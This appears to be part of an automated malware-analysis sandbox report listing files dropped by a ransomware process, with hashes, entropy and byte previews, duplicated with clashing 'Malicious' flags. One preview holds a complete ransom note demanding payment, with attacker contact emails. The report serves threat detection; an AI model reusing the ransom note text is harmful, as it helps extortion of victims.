                                                                                                                                        SHA-512:57422BA9B5D13D61327BE69BD92442C96F4CC1059A4BC8B352F3F7A090A669464809768015CAF75E890E0ED4E1623157EDF9FCAC7392F5365DC918523FC26A6D
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.@..h..2.....Q...n.....Y.j?*..r..u.wl.$e.....A.6pH..$..<..X5.X$.6..&. <A.E?.]<._%r^.$m.p.5..'?.i.Y. ......~z.2.....H..)....j....M.C..^~<.?. ~. >.0.m.MFL!#X6"vh.G.h`.E.X.......C^N.....(4Q.ze^NB...W...Z..F.W..}..[.j.'..j.\..1>.zD.{...5....Zn .c@t...|E..E...i....d_7g...4...B.%..o.S.#..n....F.!.,.+.ETB.=.ZTm.;..@...i.......Cs.sMSC...0@].3..c!|....-....h...1...^\..F..v...x.U...8.[..b.M..NM\.Cb. Zn..............:rlG..2`...e.........6.ZA..)....(u.....M.F.....M....:......g.$.5y.E....l*..I.SO.-ats-copy"}}..^..i_y@.g&..u.Eu...gW.U.t.<+C.!n..m*GfzY.A.,. ..D.eF....rR.6.....l.2...2%.9...d....k.r.ij..ut.....p...\.{r..-...}.8......Y..m.....n...."*.......!g...KR.c ..sv..>...=.H.Q."|X..q.7.s.".`..4...J.g.}<...cg.V.^6Z..v....e...].....:...)......J...[..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):791
                                                                                                                                        Entropy (8bit):7.768720085909644
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:2GUz5y9/Hfc9ty2DB2HugbnGtpQu+bL4p4RT:2GU1a/mty2EHugbnGB+bLT
                                                                                                                                        MD5:6ADB078305F2F037866A864D9BDF7350
                                                                                                                                        SHA1:4798025EFB17E35A3906ED94F01BD506D1532B64
                                                                                                                                        SHA-256:2B3971B1671C956B21C0DE4C514D5386B3EFD77C98C79B48FDD9554FB726DB53
                                                                                                                                        SHA-512:57422BA9B5D13D61327BE69BD92442C96F4CC1059A4BC8B352F3F7A090A669464809768015CAF75E890E0ED4E1623157EDF9FCAC7392F5365DC918523FC26A6D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.@..h..2.....Q...n.....Y.j?*..r..u.wl.$e.....A.6pH..$..<..X5.X$.6..&. <A.E?.]<._%r^.$m.p.5..'?.i.Y. ......~z.2.....H..)....j....M.C..^~<.?. ~. >.0.m.MFL!#X6"vh.G.h`.E.X.......C^N.....(4Q.ze^NB...W...Z..F.W..}..[.j.'..j.\..1>.zD.{...5....Zn .c@t...|E..E...i....d_7g...4...B.%..o.S.#..n....F.!.,.+.ETB.=.ZTm.;..@...i.......Cs.sMSC...0@].3..c!|....-....h...1...^\..F..v...x.U...8.[..b.M..NM\.Cb. Zn..............:rlG..2`...e.........6.ZA..)....(u.....M.F.....M....:......g.$.5y.E....l*..I.SO.-ats-copy"}}..^..i_y@.g&..u.Eu...gW.U.t.<+C.!n..m*GfzY.A.,. ..D.eF....rR.6.....l.2...2%.9...d....k.r.ij..ut.....p...\.{r..-...}.8......Y..m.....n...."*.......!g...KR.c ..sv..>...=.H.Q."|X..q.7.s.".`..4...J.g.}<...cg.V.^6Z..v....e...].....:...)......J...[..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):3771
                                                                                                                                        Entropy (8bit):7.9590734579348235
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:Kir8kN5WFEyEptckt9bl9vUq03A1J1y58fJ5s9b:uiMFEyEbjMtOO8k
                                                                                                                                        MD5:8511CF63016150AF2D139C2B1D7EC9DD
                                                                                                                                        SHA1:46FD493843C3EB6D97F264C2AAB994DDE360F9F2
                                                                                                                                        SHA-256:0BF75E58445DD81389FA7CD1725121A35E2B05CC24A10AEC6B82242A514DCC24
                                                                                                                                        SHA-512:63FF6F378CB34A369977163662B71F2B373BB7EEF0D39FE7BFA0EDF760CBD30B69CF79F66F9CD466FC8AE5955B967A6EA4BA67756B838D0E5B2360D819ECA0CE
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..S,.c........y!iG..(.D../Q........r.>.7.........;......z<.~...n.V.T....G...'..w..#... ...p..g.z......A.r........S>.j.........S.0...~. "y.:.D..*#.n.E.=..Z-.Q.Kk....'.;......C6".dP2..XBe.YJ:...fD..Yo...K.&....7.h.......8.1.v..U....JH.;.t..9.`..Uw...q*..e7] ....WPc#.....y4 ...U..|!..cR..@._Q'..dX._c.C........:E......1.@.@.8.q....M(.e.^..-..Q?X.'MH.\RYa.zC.b.6S.x........."Gt.8.s..~....[;W?.....(^.....4>~"r....,.#{H}.,^....xd......o..`!1I..`%.#.[%....V..AJ.....?z..j....O....?......}..0....c/.EI.R5Q~?l...$....xaZ...Ki.....n>@.................j..x..o.PG..L$..MXfW...O..]"..#.~.0...x...dA..l.A.......o...H.Cr#..L.k{.?m.!z:f.I2.t..|.....E..A`F.6.....={.y8....Vj..x..H..o:............-".../.j.......:.g.....D..OU.L.g....A.<l...k..q.*.$.GS!...x..3..q....Yu....ipL...?.U..D..S.i.._W9z`..L.8....e.lJ..p.)L..F0..D...A...&..o).Z#C.....a..nm.E..f.'..WIC....._;7..M..S5...9........K...v|..TG...D..&...0p.......h.Pt.9..G..',^\.8.HF..sf W..2._..).u.,-...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):3771
                                                                                                                                        Entropy (8bit):7.9590734579348235
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:Kir8kN5WFEyEptckt9bl9vUq03A1J1y58fJ5s9b:uiMFEyEbjMtOO8k
                                                                                                                                        MD5:8511CF63016150AF2D139C2B1D7EC9DD
                                                                                                                                        SHA1:46FD493843C3EB6D97F264C2AAB994DDE360F9F2
                                                                                                                                        SHA-256:0BF75E58445DD81389FA7CD1725121A35E2B05CC24A10AEC6B82242A514DCC24
                                                                                                                                        SHA-512:63FF6F378CB34A369977163662B71F2B373BB7EEF0D39FE7BFA0EDF760CBD30B69CF79F66F9CD466FC8AE5955B967A6EA4BA67756B838D0E5B2360D819ECA0CE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..S,.c........y!iG..(.D../Q........r.>.7.........;......z<.~...n.V.T....G...'..w..#... ...p..g.z......A.r........S>.j.........S.0...~. "y.:.D..*#.n.E.=..Z-.Q.Kk....'.;......C6".dP2..XBe.YJ:...fD..Yo...K.&....7.h.......8.1.v..U....JH.;.t..9.`..Uw...q*..e7] ....WPc#.....y4 ...U..|!..cR..@._Q'..dX._c.C........:E......1.@.@.8.q....M(.e.^..-..Q?X.'MH.\RYa.zC.b.6S.x........."Gt.8.s..~....[;W?.....(^.....4>~"r....,.#{H}.,^....xd......o..`!1I..`%.#.[%....V..AJ.....?z..j....O....?......}..0....c/.EI.R5Q~?l...$....xaZ...Ki.....n>@.................j..x..o.PG..L$..MXfW...O..]"..#.~.0...x...dA..l.A.......o...H.Cr#..L.k{.?m.!z:f.I2.t..|.....E..A`F.6.....={.y8....Vj..x..H..o:............-".../.j.......:.g.....D..OU.L.g....A.<l...k..q.*.$.GS!...x..3..q....Yu....ipL...?.U..D..S.i.._W9z`..L.8....e.lJ..p.)L..F0..D...A...&..o).Z#C.....a..nm.E..f.'..WIC....._;7..M..S5...9........K...v|..TG...D..&...0p.......h.Pt.9..G..',^\.8.HF..sf W..2._..).u.,-...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2208
                                                                                                                                        Entropy (8bit):7.9187567813151345
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:tQtDkmrGhQyyAFY2DoVzNcw/iw5n6bY1UbEe8EQfkazhtj5xZACm:tQWmrGfy2Cn55nGLJQH9TfBm
                                                                                                                                        MD5:6E5B9D6B57E03383545F87D6FC30F1AC
                                                                                                                                        SHA1:A3AA9EB2A501A8E1E44E5398EB3C9C71E61D35F7
                                                                                                                                        SHA-256:573782BDA96EB4E7291ECF5E6B284AFA496513A950CC9D43485AF3B6A4C58261
                                                                                                                                        SHA-512:C0971984E72F84133E88223D93FFAD30450D55761C06261E8AE2B36ACAE28CB3851D2BA4473EC3C59D105EDAB3CF31D16E92EA4D776F1EE3B1BB37336ABC9B1E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:6..1......-/.+;..4%!\........[...b......Kg..JB!....... ........\.0ID.X......3.wz.....@.7O..9y{n..z.-.b=N....{...h.N.|..Jl.Q.z..........2c~Ce....(..O...xzMv.ZwO....3l....@.:.6}.P.\...1.F..k.v..x...|n..HP...A...]Ix..F.p..S!....."..LM.......7..w....z:.!.`....'.a.1..J.O...y%.e#f..+O.......'<S....6,.Hw.....9....B.0Wu.g.........A...K..Y...s...[z.a.[s..O.Y...O....2.qV...>...Neg..\.tI.......:.y.<..:..j8..I.e..R...j..i.......4q..1[p.........~.m..+..g.?'.c............-.!..r....:..GH.C:....S.]Vi^.QvB...]....W...W..q|!r..:fx..........3.KL.1..3.>&'A.CcU.^2..Ul.4.'..$%h..o.......w....s.?Y.U.0.H5=.i..K..$.n}.q.....m....s..ne/..O...uZ.j...E.y....O[.........D.W...y..Q.........B.:.(..kwWV..qK...Q..a...\0.f3.\8.tCI..1n..9.k_lv.|.y..z..8.f.e.D.?`......K.V......6h..0...F.L..G..3..^....J.h.lu>..x&?U'm.M:.J..`.q......"....%.t...D^?..%=..2..K.@..!8=y.w..a.......1..O....9e..@w.\.?.....?..*v....k.Q0..y..B.7..`.....vn...m......^.k.(S.,..s...d...."..o..b..8.o.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2208
                                                                                                                                        Entropy (8bit):7.9187567813151345
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:tQtDkmrGhQyyAFY2DoVzNcw/iw5n6bY1UbEe8EQfkazhtj5xZACm:tQWmrGfy2Cn55nGLJQH9TfBm
                                                                                                                                        MD5:6E5B9D6B57E03383545F87D6FC30F1AC
                                                                                                                                        SHA1:A3AA9EB2A501A8E1E44E5398EB3C9C71E61D35F7
                                                                                                                                        SHA-256:573782BDA96EB4E7291ECF5E6B284AFA496513A950CC9D43485AF3B6A4C58261
                                                                                                                                        SHA-512:C0971984E72F84133E88223D93FFAD30450D55761C06261E8AE2B36ACAE28CB3851D2BA4473EC3C59D105EDAB3CF31D16E92EA4D776F1EE3B1BB37336ABC9B1E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:6..1......-/.+;..4%!\........[...b......Kg..JB!....... ........\.0ID.X......3.wz.....@.7O..9y{n..z.-.b=N....{...h.N.|..Jl.Q.z..........2c~Ce....(..O...xzMv.ZwO....3l....@.:.6}.P.\...1.F..k.v..x...|n..HP...A...]Ix..F.p..S!....."..LM.......7..w....z:.!.`....'.a.1..J.O...y%.e#f..+O.......'<S....6,.Hw.....9....B.0Wu.g.........A...K..Y...s...[z.a.[s..O.Y...O....2.qV...>...Neg..\.tI.......:.y.<..:..j8..I.e..R...j..i.......4q..1[p.........~.m..+..g.?'.c............-.!..r....:..GH.C:....S.]Vi^.QvB...]....W...W..q|!r..:fx..........3.KL.1..3.>&'A.CcU.^2..Ul.4.'..$%h..o.......w....s.?Y.U.0.H5=.i..K..$.n}.q.....m....s..ne/..O...uZ.j...E.y....O[.........D.W...y..Q.........B.:.(..kwWV..qK...Q..a...\0.f3.\8.tCI..1n..9.k_lv.|.y..z..8.f.e.D.?`......K.V......6h..0...F.L..G..3..^....J.h.lu>..x&?U'm.M:.J..`.q......"....%.t...D^?..%=..2..K.@..!8=y.w..a.......1..O....9e..@w.\.?.....?..*v....k.Q0..y..B.7..`.....vn...m......^.k.(S.,..s...d...."..o..b..8.o.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):427
                                                                                                                                        Entropy (8bit):7.448574126444084
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:UOujhxEdq5FB93bxuYpX8YuOuFtO5PqLfC4/tFIrAb1NH0HSjIGQOjBUkLMYbsyn:pdQFB93bVp5mkSrCcEAbD0HSj7Q8Iyn
                                                                                                                                        MD5:B6514CC7BB56FE78639432823EF8FBDB
                                                                                                                                        SHA1:5B51076255EA64E1AD87DD2883705AADCADEA69B
                                                                                                                                        SHA-256:9AEFDF2E944A71E3BAE087CE1C58DC7BDA853C26366568D51A1722B8A2B9B42A
                                                                                                                                        SHA-512:A6F5FAB35727B3FA60EBB18EB22EC763DBFF4560727188910E306A63979ABA325C8241E2BF777BA7E3BA177737C1FC6991161E45067EC07475B26ACB1E3D10DA
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:...^.qxB.a{.........!...8..}....+O$R....Y..:.[..~.w+b..'./..s.EX.7.*%...6...u*...c^9.W.Z.0.W..(..F/..v..0.[.H.;.z,b.i...Wg.....*..>.48L.@.%h'...........}..r....p...{Q..Q......Y.H..]..X.A.8...X.....J..@.}. DZ6}!........t.m.c.z....XJ...6N...r.#-..vibk.....}.?....1r_.E..Td.).Fg..!.e..(....?$.Y|?...|..t&..,.....j..u...S.v0&'.4v.`.....h.v;.0.....>.W.6.Zz..<.PN...J.g......h.....5......@.......Muh0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):427
                                                                                                                                        Entropy (8bit):7.448574126444084
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:UOujhxEdq5FB93bxuYpX8YuOuFtO5PqLfC4/tFIrAb1NH0HSjIGQOjBUkLMYbsyn:pdQFB93bVp5mkSrCcEAbD0HSj7Q8Iyn
                                                                                                                                        MD5:B6514CC7BB56FE78639432823EF8FBDB
                                                                                                                                        SHA1:5B51076255EA64E1AD87DD2883705AADCADEA69B
                                                                                                                                        SHA-256:9AEFDF2E944A71E3BAE087CE1C58DC7BDA853C26366568D51A1722B8A2B9B42A
                                                                                                                                        SHA-512:A6F5FAB35727B3FA60EBB18EB22EC763DBFF4560727188910E306A63979ABA325C8241E2BF777BA7E3BA177737C1FC6991161E45067EC07475B26ACB1E3D10DA
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...^.qxB.a{.........!...8..}....+O$R....Y..:.[..~.w+b..'./..s.EX.7.*%...6...u*...c^9.W.Z.0.W..(..F/..v..0.[.H.;.z,b.i...Wg.....*..>.48L.@.%h'...........}..r....p...{Q..Q......Y.H..]..X.A.8...X.....J..@.}. DZ6}!........t.m.c.z....XJ...6N...r.#-..vibk.....}.?....1r_.E..Td.).Fg..!.e..(....?$.Y|?...|..t&..,.....j..u...S.v0&'.4v.`.....h.v;.0.....>.W.6.Zz..<.PN...J.g......h.....5......@.......Muh0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):317
                                                                                                                                        Entropy (8bit):7.407388735163747
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:gvTtcBkL7PDdVvG/ipJ543NWbGwNRqp9BeQGpEAgKw+fExrFaY8PZKCXDCSHn:gkIPBVO/ipI3N3wNMNeREAbcBOzDn
                                                                                                                                        MD5:70CACA196B7F9380020DC28C2F3FD71B
                                                                                                                                        SHA1:D8BC68B4B58C01C685F7195F27EADEEBEEAD5159
                                                                                                                                        SHA-256:56175D337176B6942E6053A7394567AD0B51B1C1733F8D128C5148786AF54BF4
                                                                                                                                        SHA-512:6F4FE71A44EB802BF6F2FC54055A85069F6850BA263985FAE85051592C9417899EB92097C3989D80D4A4F29E9A7B2B3AB341C33ECDE1D426381AEA3A217C76CC
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:O...9..;.@|<G@#I...l..........X?.;...\....8"}M.y..m..np....c..{.#.b..g.mg`.%...:..,.....a...e.j......,&.......1.....Z..S/.P<RN.. ....P.P:.4....C..9.9H.....ddS....eSka..`.}4..E..h......U.w.....Y1...r...A..V.ljg.*~...p.%...y..-$.F...;oe=.[.......v..-.E:....L9..N....@.WFxv.t.............>l..+.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):317
                                                                                                                                        Entropy (8bit):7.407388735163747
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:gvTtcBkL7PDdVvG/ipJ543NWbGwNRqp9BeQGpEAgKw+fExrFaY8PZKCXDCSHn:gkIPBVO/ipI3N3wNMNeREAbcBOzDn
                                                                                                                                        MD5:70CACA196B7F9380020DC28C2F3FD71B
                                                                                                                                        SHA1:D8BC68B4B58C01C685F7195F27EADEEBEEAD5159
                                                                                                                                        SHA-256:56175D337176B6942E6053A7394567AD0B51B1C1733F8D128C5148786AF54BF4
                                                                                                                                        SHA-512:6F4FE71A44EB802BF6F2FC54055A85069F6850BA263985FAE85051592C9417899EB92097C3989D80D4A4F29E9A7B2B3AB341C33ECDE1D426381AEA3A217C76CC
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:O...9..;.@|<G@#I...l..........X?.;...\....8"}M.y..m..np....c..{.#.b..g.mg`.%...:..,.....a...e.j......,&.......1.....Z..S/.P<RN.. ....P.P:.4....C..9.9H.....ddS....eSka..`.}4..E..h......U.w.....Y1...r...A..V.ljg.*~...p.%...y..-$.F...;oe=.[.......v..-.E:....L9..N....@.WFxv.t.............>l..+.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:PGP Secret Sub-key -
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1355
                                                                                                                                        Entropy (8bit):7.871746283474764
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:ca09aQjss+l3KliF9JNfz79zdISqpqMi45lKL1yj/rFXW:caMssa3Kls9PQSqp0o4STE
                                                                                                                                        MD5:71652A4A822AEAA43951B33A0977B1B8
                                                                                                                                        SHA1:D5B34483121DD75507AD024EFE7780A6C8FCEB88
                                                                                                                                        SHA-256:4B8138EAB716A897F5CF14438D4FA069C14359A96EE29EB15B48CAE3D3D68CDE
                                                                                                                                        SHA-512:51A518873F4D7C7FD154375665227CE816AF8F2AF47A062274C93CA1CF70A7DD95889A1160E2158BFD7D0613035EC956CC5965DCDAE6500075EB6E1544BC12FA
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..%...>p.x.#Q...9G.J...Q<.t.g%C..v0...\m.....[.TQ.u/M.k..m.6r.n.2..F...I...]..UH...L...}..M{.@....,...x.3...{..+..=<.U...]...s..6w.Y.Z)0.v;....F....k..t...8...#...i.djW....F...MD.........+..7.1.u..c5.%K.aP...9j9.KO. ..f.p.p^..bY..]X...*n..d8..#.....WJM......e.\@.....D=;.B.......g.n^.u=..,...q>.{{W.E..(.%<u.+.!..d.A.........w]........0K.C...........9][M.v..X....t.t........!..I..dv...&@...>..E.....F..7...(...?[.....B.u..6d.......NU.Y......|.g...P-`.?..{).....%...~'..q.....6B._j!.>[+..Em9.4H.<.g(..5.X....^.U.g..u_.i..7.........- k....C..].pp..........C..s.....KU+...A.mL........rF.r./.....G.S}Ul.,.N............_...C.>..&..5je..U)....Q..h.*....]}.1...b.Y.8...a..m.<K ....0V.".<Z.1(PGj.6..)-{..((......3..l]5T....Ww~.......z.......kn.....5/..8......rz.Z......~....Ih..........'..3...V.Zc.Q......=..P..*....C..h.z...c=.(E..o......SMQ.vU.H.Fc...v#v(6..~Y..7....M+.a._.u.........o......4..1..b-. ....4..i.........nfVn....+F.O...:Y..X....V&?.QQpx.Z.c...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:PGP Secret Sub-key -
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1355
                                                                                                                                        Entropy (8bit):7.871746283474764
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:ca09aQjss+l3KliF9JNfz79zdISqpqMi45lKL1yj/rFXW:caMssa3Kls9PQSqp0o4STE
                                                                                                                                        MD5:71652A4A822AEAA43951B33A0977B1B8
                                                                                                                                        SHA1:D5B34483121DD75507AD024EFE7780A6C8FCEB88
                                                                                                                                        SHA-256:4B8138EAB716A897F5CF14438D4FA069C14359A96EE29EB15B48CAE3D3D68CDE
                                                                                                                                        SHA-512:51A518873F4D7C7FD154375665227CE816AF8F2AF47A062274C93CA1CF70A7DD95889A1160E2158BFD7D0613035EC956CC5965DCDAE6500075EB6E1544BC12FA
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..%...>p.x.#Q...9G.J...Q<.t.g%C..v0...\m.....[.TQ.u/M.k..m.6r.n.2..F...I...]..UH...L...}..M{.@....,...x.3...{..+..=<.U...]...s..6w.Y.Z)0.v;....F....k..t...8...#...i.djW....F...MD.........+..7.1.u..c5.%K.aP...9j9.KO. ..f.p.p^..bY..]X...*n..d8..#.....WJM......e.\@.....D=;.B.......g.n^.u=..,...q>.{{W.E..(.%<u.+.!..d.A.........w]........0K.C...........9][M.v..X....t.t........!..I..dv...&@...>..E.....F..7...(...?[.....B.u..6d.......NU.Y......|.g...P-`.?..{).....%...~'..q.....6B._j!.>[+..Em9.4H.<.g(..5.X....^.U.g..u_.i..7.........- k....C..].pp..........C..s.....KU+...A.mL........rF.r./.....G.S}Ul.,.N............_...C.>..&..5je..U)....Q..h.*....]}.1...b.Y.8...a..m.<K ....0V.".<Z.1(PGj.6..)-{..((......3..l]5T....Ww~.......z.......kn.....5/..8......rz.Z......~....Ih..........'..3...V.Zc.Q......=..P..*....C..h.z...c=.(E..o......SMQ.vU.H.Fc...v#v(6..~Y..7....M+.a._.u.........o......4..1..b-. ....4..i.........nfVn....+F.O...:Y..X....V&?.QQpx.Z.c...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:COM executable for DOS
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):37096
                                                                                                                                        Entropy (8bit):5.807872668304387
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:768:Hjs+Oix4H6J4/4nN4O4amoavf4w4lB484QS4S4k:HjRmtvF
                                                                                                                                        MD5:734482FCC7A17DAFFC7A7011F5826F69
                                                                                                                                        SHA1:204813800796218FA401CEFF9399C83FAFF993A7
                                                                                                                                        SHA-256:7411712E87A19F0C71B1130AF8155CC8E493A20DA9E4864E59F3F1B09D1A919E
                                                                                                                                        SHA-512:4FE67E9F3A588630BF0EA7118489BFC5034BF4981EA4111AD494FF1D9A9195F96F31A5B6CE3DBC6D3AAEF15D849A4189E80B372CA1847270BB9CC6396EFA7D6C
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.f.....N.....XIF^L.T.p.....O...3...!5....v....".,.I...,.....2.4....Z..}~..R.m..`...:p"j.A..V..D..c..(gd..3.H..]...*e<...q8C.*/t.4.Ly..F.9.Z.....[.q..,*..M'.H.i.e.].}7.4.5n.75!.F.}p..zC...,c....*..r...._s.`.w..........-....@&.d.k.......5.e..tPh.8.z=...^@.Q..........rl....7~..0..w4..%..'p..p@18.Q8....Xnk..pads\D...7)|......~...?...._..`.j.Q^..@{..qJ.!..".V<.p.n..........QD..I.}(...3.%.dy.....$E\U.V...E....g.T...QB.Y....V.7.\.aF...F..f.s..!.......bj....g.T.?.&dE.[.....,l...mX.V.`...."*..i.....%b...`.3...L4U.W..h..).G=..*.5..Q}../:F..mS.......6.<5.V...0R...h........+.....z...iyuj.....k.-.4A.N....._...BlQU..`....uZ...'.Bcb..~..e.s....U..H.."....N.X.'>&....-........I.|_{r.$C.L..A./T..;.p..n 6..B.x7..|g.Z.A.2 ..mE..Y...g...G.^#5>......^..\...Mg:d...:KB.R.@...........XV...`E.....T6..7./...$`KBr(....D..._$..ia.O_..H|`.]V<.U.g...na..z..SC.......f.u...{e..}5...'.!O...(%/..z. ...5.4s.!c...,.(.8~`nLdZ..C.o.Bg..UMg..I+....#.\....B.3.X.......;.\.su..D.s...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:COM executable for DOS
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):37096
                                                                                                                                        Entropy (8bit):5.807872668304387
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:768:Hjs+Oix4H6J4/4nN4O4amoavf4w4lB484QS4S4k:HjRmtvF
                                                                                                                                        MD5:734482FCC7A17DAFFC7A7011F5826F69
                                                                                                                                        SHA1:204813800796218FA401CEFF9399C83FAFF993A7
                                                                                                                                        SHA-256:7411712E87A19F0C71B1130AF8155CC8E493A20DA9E4864E59F3F1B09D1A919E
                                                                                                                                        SHA-512:4FE67E9F3A588630BF0EA7118489BFC5034BF4981EA4111AD494FF1D9A9195F96F31A5B6CE3DBC6D3AAEF15D849A4189E80B372CA1847270BB9CC6396EFA7D6C
                                                                                                                                        Malicious:true
